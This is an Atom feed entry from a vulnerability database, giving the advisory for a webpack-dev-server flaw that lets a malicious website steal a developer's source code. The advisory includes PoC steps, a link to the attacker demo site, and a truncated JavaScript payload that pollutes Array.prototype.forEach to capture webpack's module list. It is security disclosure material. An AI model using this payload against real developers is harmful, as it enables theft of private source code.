<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-11-11T13:10:28.585630+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-4v9v-hfq4-rm2v</id>
    <title>GHSA-4v9v-hfq4-rm2v — webpack-dev-server users' source code may be stolen when they access a malicious web site</title>
    <updated>2026-11-11T13:10:28.588588+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: webpack-dev-server</p>
<p>### Summary
Source code may be stolen when you access a malicious web site.</p>
<p>### Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `&lt;script src="http://localhost:8080/main.js"&gt;` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.</p>
<p>### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`
5. You can see the source code output in the document and the devtools console.</p>
<p>![image](https://github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)</p>
<p>The script in the POC site is:
```js
let moduleList
const onHandlerSet = (handler) =&gt; {
  console.log('h', handler)
  moduleList = handler.require.m
}</p>
<p>const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) =&gt; {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}</p>
<p>const script = document.createElement('script')
script.src = 'http://localh…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-4v9v-hfq4-rm2v"/>
  </entry>
</feed>
